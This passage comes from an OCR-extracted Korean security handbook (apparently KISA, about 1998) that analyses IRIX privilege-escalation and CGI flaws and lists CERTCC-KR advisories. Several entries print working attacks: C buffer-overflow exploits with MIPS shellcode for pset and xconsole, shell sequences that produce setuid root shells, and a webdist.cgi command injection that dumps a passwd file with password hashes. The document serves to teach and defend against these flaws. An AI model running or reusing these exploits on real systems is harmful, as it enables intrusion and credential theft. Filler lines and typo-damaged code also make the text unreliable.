H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H%

Page 753: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H%

: No such file or directory

$ id

uid=1111(kadosu) gid=20(user) egid=0(sys)

$

해킹흔적 확인방법

대응방법

패치 설치

임시조치

- chmod u-s /sbin/pset

Page 754: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#define BUFSIZE 4172

#define OFFS 816

#define ADDRS 8

#define ALIGN 3

#define ALIGN2 1

char

asmcode[]="₩x3c₩x18₩x2f₩x62₩x37₩x18₩x69₩x6e₩x3c₩x19₩x2f₩x73₩x37

₩x39₩x68₩x2e₩xaf₩xb8₩xff₩xf8₩xaf₩xb9₩xff₩xfc₩xa3₩xa0₩xff₩xff₩x27

₩xa4₩xff₩xf8₩x27₩xa5₩xff₩xf0₩x01₩x60₩x30₩x24₩xaf₩xa4₩xff₩xf0₩xaf

₩xa0₩xff₩xf4₩x24₩x02₩x04₩x23₩x02₩x04₩x8d₩x0c";

/*

char nop[]="₩x24₩x0f₩x12₩x34";

*/

char nop[]="₩x01₩x20₩x48₩x25";

void run(unsigned char *buf){

execl("/sbin/pset","lsd","lsd","-s","666",buf,NULL);

printf("execl failed₩n");

}

char

j u m p [

]="₩x03₩xa0₩x10₩x25₩x03₩xe0₩x00₩x08₩x24₩x0f₩x12₩x34₩x24₩x0f₩x1

2₩x34";

/*

unsigned long get_sp(void) {

__asm__("or $2,$sp$0");

}

*/

Page 755: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

main(int argc, char *argv[ ]) {

char *buf, *ptr, addr[8];

int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGNL;

int I, noplen=strlen(nop);

if (argc > 1) bufsize=atoi(argv[1]);

if (argc > 2) offs=atoi(argv[2]);

if (argc > 3) addrs=atoi(argv[3]);

if (argc > 4) align=atoi(argv[4]);

if (bufsize<strlen(asmcode)) {

printf(bufsize too small, code is %d bytes long₩n",

strlen(asmcode));

exit(1);

}

if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))++NULL) {

printf("Can't malloc₩n");

exit(1);

}

*(int *)addr=(*(unsigned long(*)())jump)()+offs;

printf("address=%p₩n", *(int *)addr);

strcpy(buf,nop);

ptr=buf+noplen;

buf+=align;

for(i=0;i<bufsize;i++)

*ptr++=nop[i%noplen];

memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));

for(i=0;i<ALIGN2;i++)

*ptr++=nop[i%noplen];

for(i=0;i<(addrs<<2);i++)

*ptr++=addr[i%sizeof(int)];

*ptr=0;

printf("buflen=%d₩n", strlen(buf));

fflush(stdout);

run(buf);

}

Page 756: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

suid_exec-IRIX-입력해석

suid_exec-IRIX-parsing

Page 757: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

suid_exec-IRIX-parsing

suid_exec-IRIX-입력해석

문서번호

KH98-096

문서제목

suid_exec-IRIX-입력해석(suid_exec-IRIX-parsing)

관련 응용프로그램

/sbin/suid_exec

관련 운영체제

IRIX 5.3/6.2

취약점 분석

취약점 이해

- suid_exec 프로그램은 인수로 setuid root 프로그램을 받아 수행시킬 경우 root의 권한

에서 해당파일을 실행시킨다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- suid_exec 프로그램은 인수로 setuid root 프로그램을 받아 수행시킬 경우 root의 권한

에서 해당파일을 실행하게 되어 일반 사용자가 root 권한을 획득할 수 있다.

해킹 소스 프로그램

해킹시험 결과

IRIS% setenv SHELL /bin/tcsh

IRIS% ./expl

Unmatched ".

IRIS% ls -id /tmp/sh

-rwsr-sr-x 1 root user 198788 Nov 3 20:34 /tmp/sh

}

Page 758: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

IRIS% ID

uid=1111(kadosu) gid=20(user)

IRIS% more expl.c

main()

{

execl("/sbin/suid_exec","/sbin/su","/sbin/su",0);

}

IRIS% more ~/.cshrc

cp /bin/sh /tmp

chmod a+rsx /tmp/sh

IRIS% ps

PID TTY TIME CMD

186 tyq0 0:00 csh

262 tyq0 0:00 ps

IRIS% /tmp/sh

# id

uid=1111(kadosu) gid=20(user) euid=0(root)

#

해킹흔적 확인방법

대응방법

패치 설치

임시 조치

- chmod 400 /sbin/suid_exec

Page 759: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

systour-IRIX-구성

systour-IRIX-config

Page 760: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

systour-IRIX-config

systour-IRIX-구성

문서번호

KH98-097

문서제목

systour-IRIX-구성(systour_IRIX_config)

관련 응용프로그램

/usr/lib/tour/bin/RemoteSystemTour

관련 운영체제

IRIX 5.3/6.2

취약점 분석

취약점 이해

- systour 프로그램은 프로그램 수행도중 ~/var/inst/exitops 파일을 수행시키는데 일반사

용자가 이 파일에 백도어프로그램을 숨겨놓아 systour 수행시 root권한으로 백도어가 수행

되도록 한다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- systour 프로그램은 프로그램 수행도중 ~/var/inst/exitops 파일을 수행시키는데 일반사

용자가 이 파일에 백도어프로그램을 숨겨놓아 systour 수행시 root권한으로 백도어가 수행

되도록 하여 root권한을 획득할 수 있다.

해킹 소스 프로그램

해킹시험 결과

IRIS% id

uid=1111(kadosu) gid=20(user)

Page 761: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

IRIS% ps

PID TTY TIME CMD

186 ttyq0 0:01 csh

385 ttyq0 0:00 ps

IRIS% sh

$ rbase=$HOME; export rbase

$ mkdir -p $HOME/var/inst

$ echo "dryrun: true" > $HOME/.swmgrrc

$cp -p /bin/sh /tmp/foobar

Cannot creat /tmp/foobar - Permission denied

$ cp -p /bin/sh /tmp/foobar

$ ls -ld /tmp/foobar

-rwxr-xr-x 1 root sys 198788 Jun 25 20:09 /tmp/foobar

$ printf '#₩!/bin/sh₩nchmod 4777 /tmp/foobar₩n' >

$HOME/var/inst/.exitops

$ chmod a+x $HOME/var/inst/.exitops

$ more $HOME/.swmgrrc

dryrun: true

$ more $HOME/var/inst/.exitops

#!/bin/sh

chmod 4777 /tmp/foobar

$ $HOME/var/inst/.exitops

chmod() failed on /tmp/foobar: Operation not permitted

$ /usr/lib/tour/bin/RemoveSystemTour

Executing outstanding exit-commands from previous session ..

Successfully completed exit-commands from previous session.

Reading installation history .. 100% Done.

ERROR: Automatic installation failed: New target (nothing installed) and

no distribution.

$ ls -ld /tmp/foobar

-rwsrwxrwx 1 root sys 1987 Jun 25 20:09 /tmp/foobar

$ id

uid=1111(kadosu) gid=20(user)

$ /tmp/foobar

# id

uid=1111(kadosu) gid=20(user) euid=0(root)

#

Page 762: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

대응방법

패치 설치

임시 조치

- chmod u -s /usr/fib/tour/bin/RemoteSystemTour

chmod u -s /usr/people/tour/oob/bin/oobversions

- /usr/sbin/versions -v remote systour OutOfBox

Page 763: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

webdist_CGI-IRIX-입력해석

webdist_CGI-IRIX-parsing

Page 764: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

webdist_CGI-IRIX-parsing

webdist_CGI-IRIX-입력해석

문서번호

KH98-098

문서제목

webdist_CGI-IRIX-입력해석(webdist_CGI-IRIX-parsing)

관련 응용프로그램

/cgi-bin/webdist.cgi

관련 운영체제

IRIX 5.3/6.x

취약점 분석

취약점 이해

- webdist.cgi의 사용자 입력부분을 처리하는데 취약점으로 인해 원격사용자가 임의의 명

령을 웹서버수행권한으로 실행시킬 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- webdist.cgi의 사용자 입력부분을 처리하는데 취약점으로 인해 원격사용자가 임의의 명

령을 웹서버수행권한으로 실행시켜 패스워드 파일등을 획득하여 시스템에 불법적인 접근을

할 수 있다.

해킹 소스 프로그램

해킹시험 결과

telnet 210.116.239.57 80

Trying 210.116.239.57...

Connected to 210.116.239.57.

Escape character is '^]'.

GET /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd HTTP/1.0

Page 765: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

HTTP/1.0 200 Document follows

Date: Mon, 03 Nov 1997 05:47:45 GMT

Server: NCSA/1.4.1

Content-type: text/html

<HTML>

<BODY BACKGROUND="/webdist/images/background.jpeg">

<H3 ALIGN="CENTER">Web Software Distribution Page Created.<BR>

(You can see what the page will look like below)</H3>

<HR>

<H3 ALIGN="CENTER>Installing the Web Software Distribution Page<BR>

(Do this now, while you can still refer to this page for

reference)</H3><P>

The new Web Software Distribution Page has been created at

location <SAMP>/usr/tmp/webdist.27652.html</SAMP>.

<P> You will need to <B>move this file</B> to

the location <SAMP>/var/www/htdocs/dist/.

root:dYSj1GKc4Lms2:0:0:Super-User:/:/bin/csh

sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh

diag:*0:996:Hardware Diagnostics:/usr/diags:/bin/csh

daemon:*:1:1:daemons:/:/dev/null

bin:*:2:2:System Tools Owner:/bin:/dev/null

uucp:*:3:5:UUCP Owner:/usr/lic/uucp:/bin/csh

sys:*:4:0:System Activity Owner:/var/adm:/bin/sh

adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh

lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh

nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico

auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh

dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh

rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh

EZsetup::992:998:System Setup:/var/sysadmdesktop/EZsetup:/bin/csh

demos::993:997:Demonstration User:/usr/demos:/bin/csh

OutOfBox::995:997:Out of Box Experience:/usr/people/tour:/bin/csh

guest::998:998:Guest Account:/usr/people/guest:/bin/csh

4Dgifts::999:998:4Dgifts Account:/rsr/people/4Dgifts:/bin/csh

nobody:*:60001:60001:SVR4 nobody uid:/dev/null:/dev/null

noaccess:*:60002:60002:uid no access:/dev/null:/dev/null

nobody:*:-2:-2:original nobody uid:/dev/null:/dev/null

serene:bFvUqEL2NxG5c:1110:20:SangJeong Kim:/usr/people/serene:/bin/csh

Page 766: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

kadosu:LPKai2b/mhW8Q:1111:20:SHIN

HOON,332-3869,KISA:/usr/people/kadosu:/bin/csh.html</SAMP>

</P>

해킹흔적 확인방법

대응방법

패치 설치

- IRIX 6.2 패치 : 2314

임시 조치

- webdist.cgi를 제거한다.

- chmod 400 /var.www.cgi-bin/webdist.cgi

Page 767: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

wrap_CGI-IRIX-입력해석

wrap_CGI-IRIX-parsing

Page 768: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

wrap_CGI-IRIX-parsing

wrap_CGI-IRIX-입력해석

문서번호

KH98-099

문서제목

wrap_CGI-IRIX-입력해석(wrap_CGI-IRIX-parsing)

관련 응용프로그램

/cgi-bin/wrap

관련 운영체제

IRIX 6.2

취약점 분석

취약점 이해

- 원격 사용자가 wrap.cgi의 구현상 문제로 웹서버 임의의 디렉토리 목록을 볼 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- 원격 사용자가 wrap.cgi의 구현상 문제로 웹서버 임의의 디렉토리 목록을 보고 이러한

정보를 악용할 수 있다.

해킹 소스 프로그램

해킹시험 결과

telnet 210.116.239.57 80

Trying 210.116.239.57...

Connected to 210.116.239.57.

Escape character is '^]'.

GET /cgi-bin/wrap? HTTP/1.0

Page 769: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

HTTP/1.0 200 Document follows

Date: Mon, 03 Nov 1997 05:41:56 GMT

Server:NCSA/1.4.1

Content-type: text/html

<head>

<title>

User List

</title>

</head>

<body>

<h1 align=center>

User List

</h1>

<hr size=3 width=50% noshade>

<p>

<h3 align=center>

This site supports the following users:

</h3>

<p>

<hr size=3 width=50% noshade>

<ul>

<center>

<table cellpadding=10>

<tr>

<th align=right>

<font size=+2>

<a href="/cgi-bin/wrap/WhatsNew">WhatsNew</a>

</font>

</th>

<td>

<li>

</td>

<td>

<font size=+2>

<a href="/cgi-bin/wrap/WhatsNew"></a>

Page 770: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

</font>

</td>

</tr>

<tr>

<th align=right>

<font size=+2>

<a href ="/cgi-bin/wrap/dist">dist</a>

</font>

</th>

......

해킹흔적 확인방법

대응방법

패치 설치

- program 패치(wrap.c)

70번 line에서 $_ = $PATH;를 제거한다.

임시 조치

Page 771: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

xconsole-IRIX-오버플로우

xconsole-IRIX-overflow

Page 772: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

xconsole-IRIX-overflow

xconsole-IRIX-오버플로우

문서번호

KH98-100

문서제목

xconsole-IRIX-오버플로우(xconsole-IRIX-overflow)

관련 응용프로그램

/usr/sbin/X11/xconsole

관련 운영체제

IRIX 5.3/6.2

취약점 분석

취약점 이해

- xconsole 프로그램은 인수를 받아들일 때 인수길이검사를 하지 않으므로, 일반사용자가

스택버퍼오버플로우를 일으켜 루트의 권한을 획득할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- xconsole에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스텍을 오버플로우시킨 후

제공된 이진 코드를 실행하게된다.

- 이때 xconsole은 setuid 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트

권한으로 수행된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘

을 얻을 수도 있다.

해킹 소스 프로그램

- 첨부

Page 773: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

cc-o xconsole_ov xconsole_overflow.c

IRIS 208% id

uid=1111(kadosu) gid=20(user)

IRIS 209% uname -a

IRIX IRIS 6.2 03131015 IP22

IRIS 210% ./xconsole_ov

stack = 0x7fff2efo, targ_addr = 0x7fff3074

# id

uid=0(root) gid=20(user)

#

해킹흔적 확인방법

대응방법

패치 설치

임시 조치

- chmod u-s /usr/sbin/X11/xconsole

Page 774: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/* Exploit by David Hedley <[email protected]>

* 27/5/97

*

*_very_slighty modifyed by Patrick J..Pauls<[email protected]>

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <unistd.h>

#define NUM_ADDRESSES 500

#define BUF_LENGTH 500

#define EXTRA 9000

#define OFFSET 0x180 /* 0x184 for Irix 6.x */

#define GP_OFFSET -0x80

#define IRIX_NOP 0x03e0f825 /* move $ra,$ra */

#define PATH+PROG "/usr/bin/X11/xconsole" /* path & program name

*/

#define PROG "xconsole" /* program */

#define u_long unsigned

u_long get_sp_code[]={

0x03a01025, /* move $v0,$sp */

0x03e00008, /* jr $ra */

0x00000000, /* nop */ };

u_long irix_shellcode[]={

0x24041234, /* li $4,0x1234 */

0x2084edcc, /* sub $4,0x1234 */

0x041fffe, /* bgezal $4,pc-4 */

0x03bd302a, /* sgt $6,$sp,$sp */

0x03bd202a, /* sgt $4,$sp,$sp */

0x240203ff, /* li $v0, 1023 */

Page 775: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

0x03ffffcc, /* syscall 0xfffff */

0x23e40138, /* addi $4,$31,264+48 */

0xa086feff, /* sb $6,-264+7($4) */

0x2084fef8, /* sub $4,264 */

0x20850110, /* addi $5,$4,264+8 */

0xaca4fef8, /* sw $4,-264($5) */

0xaca6fefc, /* sw $4,-260($5) */

0x20a5fef8 /* sub $5, 264 */

0x240203f3, /* li $v0,1011 */

0x03ffffcc, /* syscall 0xfffff */

0x2f62696e, /* "/bin" */

0x2f7368ff, /* "/sn" */};

char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv) {

char *env[] = {NULL};

u_long targ_addr,stack,tmp;

u_long *long_p;

int i, code_length = strlen((char *)irix_shellcode)+1;

u_long(*get_sp)(void) = (u_long(*)(void))get_sp_code;

stack = get_sp();

if(stack & 0x8000000) {

printf("Recompile with the '-32' option₩n");

exit(1);

}

long_p=(u_log *) buf;

targ_addr=stack +OFFSET;

if(argc > 1)

targ_addr += atoi(argv[1]);

tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;

Page 776: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

while ((tmp & 0xff00000)== 0 ||

(tmp & 0x00ff0000) == 0 ||

(tmp & 0x0000ff00) == 0 ||

(tmp & 0x000000ff) == 0)

tmp += 4;

for(i=0; i < NUM_ADDRESSES/(4*sizeof(u_long));i++) {

*long_p++=tmp;

*long_p++=tmp;

*long_p++=targ_addr;

*long_p++=targ_addr;

}

for(i = 0; i < (BUF_LENGTH - code_length)/ sizeof(u_long); i++)

*long_p++ = IRIX_NOP;

for(i = 0 ; i < code_length/sizeof(u_long); i++)

*long_p++= irix_shellcode[i];

tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;

*long_p++= (tmp >> 8) | (tmp << 24);

*long_p = 0;

printf("stack = 0x%x, targ_addr=0x%x₩n", stack, targ_addr);

execle(PATH_PROG, PROG, "-xrm", &buf[2], 0, env);

perror("execl failed");

}

Page 777: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

부 록

CERTCC-KR 보안권고문

Page 778: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

<제목차례>

KA-97-01 Unix FILEXlm 취약점과 대책 727

KA-97-02 HP-UX newgrp 버퍼 오버플로우 대책 729

KA-97-03 IRIX csetup 취약점과 대책 730

KA-97-04 talkd 버퍼오버플로우 대책 731

KA-97-05 Sendmail MIME 버퍼오버플로우 대책 732

KA-97-06 rlogin 버퍼오버플로우 대책 733

KA-97-07 gethostbyname 버퍼오버플로우 대책 734

KA-97-08 H-21: HP auth, chsh, chfn 취약점과 대책 735

KA-97-09 ftpd 에서 시그날 제어대책 738

KA-97-10 HP-UX 버퍼오버플로우 대책 739

KA-97-11 SGI IRIX startmidi/stopmidi 취약점과 대책 740

KA-97-12 Solaris ffbconfig 버퍼오버플로우 대책 741

KA-97-13 SGI XFS 파일시스템의 취약점과 대책 742

KA-97-14 httpd nph-test-cgi 취약점 및 대책 743

KA-97-15 innd 취약점과 대책 744

KA-97-16 Solaris passwd 버퍼오버플로우 대책 745

KA-97-17 MS InternetExplorer 취약점 대책 746

KA-97-18 HP/UX ppl core dump 취약점취약점과대책 748

KA-97-19 SOLATIS sdtcm convert 취약점과 대책 749

KA-97-20 IRIX fsdump 취약점과 대책 750

KA-97-21 DIGITAL DoP 취약점과 대책 751

KA-97-22 HPMPE/iX ICMP Echo Request 대책 752

KA-97-23 eject/fdformat 버퍼오버플로우 대책 753

KA-97-24 MS InternetExplorer .ISP 취약점과 대책 754

KA-97-25 MS InternetExplorer UMD 취약점과 대책 755

KA-97-26 MS InternetExplorer NTLM인증 대책 756

KA-97-27 윈도즈 NT SMB 서버인증 취약점과 대책 757

KA-97-28 윈도즈95의 SMB 서버인증 취약점과 대책 758

KA-97-30 ucbmail 취약점과 대책 759

KA-97-31 Shockwave 취약점과 대책 760

KA-97-32 IMAP_POP의 취약점과 대책 761

KA-97-33 IRIX gmemuxage 취약점 762

Page 779: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KA-97-34 윈도우즈NT 크랙과 대책

KA-97-35 NLS 취약점과 대책

KA-97-36 Kerberos 취약점과 대책

KA-97-38 suidperl 취약점과 대책

KA-97-39 IRIX login LOCKOUT 취약점과 대책

KA-97-40 X Window System libXt 취약점과 대책

KA-97-41 xlock 프로그램 취약점과 대책

KA-97-42 SGI csetup 프로그램 취약점과 대책

KA-97-43 IRIX webdist.cgi 프로그램 취약점과 대책

KA-97-44 IRIX netprint 취약점과 대책

KA-97-45 Solaris 2.x lp Print 서비스 취약점과 대책

KA-97-46 IRIX runpriv 프로그램 취약점과 대책

KA-97-47 metamail 취약점과 대책

KA-97-48 Solaris ps 프로그램 버퍼 오버플로우 취약점과 대책

KA-97-49 Solaris chkey 버퍼오버플로우 취약점과 대책

KA-97-50 Windows NT/95 OOB 취약점과 대책

KA-97-51 NT Built-in user anonymous 취약점과 대책

KA-97-52 IE/Powerpoint 취약점과 대책

KA-97-53 rld 취약점과 대책

KA-97-54 HP VirtualVault 취약점과 대책

KA-97-55 IRIX Scanner 취약점과 대책

KA-97-56 IRIX df 버퍼오버플로우 취약점과 대책

KA-97-57 IRIX pset 버퍼오버플로우 취약점과 대책

KA-97-58 IRIX eject 버퍼오버플로우 취약점과 대책

KA-97-59 IRIX login/scheme 버퍼오버플로우 취약점과 대책

KA-97-60 IRIX ordist 버퍼오버플로우 취약점과 대책

KA-97-61 IRIX xlock 버퍼오버플로우 취약점과 대책

KA-97-62 Solaris rpcbind 취약성과 대책

KA-97-63 SUN getopt(3) 취약점과 대책

KA-97-64 Win95 Network Password 취약점과 대책

KA-97-65 at(1) 버퍼오버플로우 취약점과 대책

KA-97-66 lpr 버퍼오버플로우 취약점과 대책

KA-97-66 lpr 버퍼오버플로우 취약점과 대책

KA-97-67 MS IIS 취약점과 대책

Page 780: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

KA-97-68 SUN eeprom 취약점과 대책

KA-97-69 IRIX ordist 버퍼오버플로우 취약점과 대책

KA-97-70 rfork() 취약점과 대책

KA-97-71 Bind 취약점과 대책

KA-97-72 Sun talkd 취약점과 대책

KA-97-73 IRIX talkd 취약점과 대책

KA-97-74 mSQL 취약점과 대책

KA-97-75 HPUX rlogin 보안 취약점과 대책

KA-97-76 Samba를 위한 버그 수정

KA-97-77 SunOS automounter 취약점과 대책

KA-97-78 SunOS Cisco CHAP 인증 취약점과 대책

KA-97-79 BSD I/O Signals 취약점과 대책

KA-97-80 rdist의 Buffer Overflow 대책

KA-97-81 Vacation 취약점과 대책

KA-97-82 HP-UX mediainit 취약점과 대책

KA-97-83 swinstall 취약점과 대책

KA-97-84 Netscape Navigator의 취약점과 대책

KA-97-85 HP-UX vuefile, vuepad, dtfile, & dtpad 취약점과 대책

KA-97-86 SUN libX11 취약점과 대책

KA-97-87 SSH/X11 취약점과 대책

KA-97-88 HPUX X11/Motif 취약점과 대책

KA-97-89 Solaris DCE Integrated login 버그 대책

KA-97-90 AIXnslookup 명령 취약점과 대책

KA-97-91 Count.cgi 버퍼오버플로우 취약점과 대책

KA-97-92 MSIE4.0 버퍼오버플로우 취약점과 대책

